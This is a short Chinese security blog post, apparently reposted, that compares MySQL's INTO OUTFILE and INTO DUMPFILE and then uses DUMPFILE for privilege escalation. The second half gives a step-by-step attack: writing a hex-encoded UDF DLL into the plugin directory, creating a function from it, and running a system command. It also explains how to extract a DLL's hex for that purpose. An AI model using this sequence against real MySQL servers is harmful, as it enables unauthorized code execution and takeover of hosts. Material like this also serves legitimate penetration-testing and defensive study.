一直以為兩個函數作用是相同的
經過簡單測試發現還是有些區別的
如下表admin
mysql> select * from admin;
+-----+-----------+---------+
| uid | name | pass |
+----+------------+---------+
| 1 | admin | baidusb |
| 2 | root | hacksb |
| 3 | manage | nimei |
| 4 | boss | helensb |
| 5 | guanli | admin |
| 6 | superuser | G0Ood |
+----+------------+---------+
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
Query OK,1 row affected (0.00 sec)
我是想將這些內容 導出到 一個txt文件,事實上是可以完整導出每行記錄的.
這個很適合導庫
而into dump是不行的 它只能導出 一行數據!
若我們想把一個 可執行2進制 文件用into outfile函數導出
事實上 導出後 就會被破壞
因為into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符
這樣的話這個2進制可執行 文件 就會被破壞
這時候我們用into dumpfile 就能導出 一個完整能執行的2進制 文件
into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理
如在無web腳本 執行 但是有mysql root 執行的環境下 我們就可以 通過
into dump 函數導入udf.dll進行提權
mysql> show variable like '%plugin%';
+----------------+------------------------------------------+
|Variable_name | Value |
+----------------+------------------------------------------+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin |
+----------------+------------------------------------------+
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人創建過udf 如果有就可以省略
mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select MyCmd('whoam');
一點小知識點:
如何獲取該udf.dll文件的16進制值(hex)?
我們可以本地搭建mysql環境 找個可以用的udf.dll文件 執行下面操作
mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
如何獲取該udf插件的內置 函數?
通過C32 等16進制 編輯器 或直接通過記事本 打開 看關鍵字 即可
摘自 http://hi.baidu.com/evilrapper/blog/item/5a36f290c9b54692a877a46a.html